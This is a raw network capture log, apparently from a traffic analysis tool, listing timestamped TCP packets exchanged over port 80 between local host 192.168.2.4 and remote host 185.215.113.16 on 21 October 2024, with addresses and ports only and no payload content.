Oct 21, 2024 10:47:12.137522936 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.137579918 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.137861013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137923002 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.137945890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137959003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137973070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.137989044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.138000965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.138012886 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.138063908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.146526098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.146549940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.146564007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.146594048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.146645069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162338018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162384987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162400961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162410975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162414074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162430048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162446022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162461042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162468910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162482977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162497044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162509918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162512064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162524939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162539959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162545919 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162554979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162570000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162575006 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162584066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162605047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162615061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162621021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162636042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162641048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162667990 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162695885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162710905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162749052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162764072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162777901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162781954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162802935 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162812948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162827969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162841082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162858963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162859917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162892103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162909985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162914991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162940979 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.162956953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162980080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.162995100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163008928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163023949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163038969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163053989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163069010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163081884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163095951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163110971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163125992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163140059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163156033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163163900 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.163168907 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163183928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163197994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163203955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.163213968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163228035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.163233995 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.163351059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.195163965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.195211887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.195224047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.195252895 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.195405006 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.234601974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234635115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234652042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234673977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234688044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234719992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234733105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.234801054 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.276865959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.276885986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.276901960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.276926041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.276957035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.279932022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.279947996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.279963017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.279999971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.280034065 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292376995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292402029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292418003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292431116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292433977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292445898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292464018 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292464018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292507887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292553902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292567015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292592049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292607069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292644978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292644978 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292702913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292704105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292718887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292732954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.292757988 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.292793036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.301342964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.301359892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.301376104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.301398993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.301428080 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317024946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317042112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317101002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317115068 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317117929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317140102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317142010 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317156076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317169905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317184925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317199945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317204952 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317224979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317245960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317256927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317272902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317277908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317287922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317306995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317338943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317341089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317357063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317368031 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317389965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317389965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317405939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317420006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317435980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317451000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317467928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317483902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317533016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317555904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317558050 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317579031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317593098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317600965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317606926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317636967 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317646027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317658901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317667007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317686081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317703009 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317722082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317737103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317749023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317764044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317778111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317791939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317806005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317816019 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317819118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317833900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317866087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317867041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317889929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317889929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317915916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317922115 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317928076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317941904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.317969084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.317974091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318001032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318012953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.318022966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318038940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318053961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318068027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318083048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318098068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318111897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318125963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318135023 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.318140984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318156958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.318190098 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.318217993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.349956989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.349975109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.349991083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.350063086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.350063086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.403202057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.403233051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.403249025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.403264999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.403280020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.415771961 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.431969881 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.431988955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.432003975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.432049036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.432049036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.434950113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.434992075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.435007095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.435009003 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.435043097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447151899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447196007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447211981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447213888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447225094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447238922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447254896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447263956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447325945 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447746038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447762012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447777033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447791100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447804928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.447804928 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447824001 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.447866917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.456003904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.456046104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.456058979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.456074953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.456078053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.456104040 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.456135035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472137928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472178936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472196102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472199917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472229958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472238064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472238064 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472244978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472278118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472290993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472290993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472296953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472330093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472349882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472378969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472393036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472407103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472410917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472410917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472421885 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472436905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472451925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472465038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472477913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472477913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472479105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472503901 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472517967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472552061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472564936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472574949 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472578049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472593069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472600937 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472606897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472620964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472634077 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472637892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472659111 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472659111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472672939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472678900 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472688913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472702026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472718000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472721100 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472733974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472762108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472762108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472765923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472778082 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472789049 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472801924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472825050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472837925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472851992 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472873926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472882986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472882986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472889900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.472910881 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.472935915 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473006010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473047972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473069906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473083019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473094940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473094940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473107100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473115921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473135948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473145008 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473150969 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473156929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473174095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473181963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473196030 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473206043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473220110 CEST	80	49855	185.215.113.16	192.168.2.4
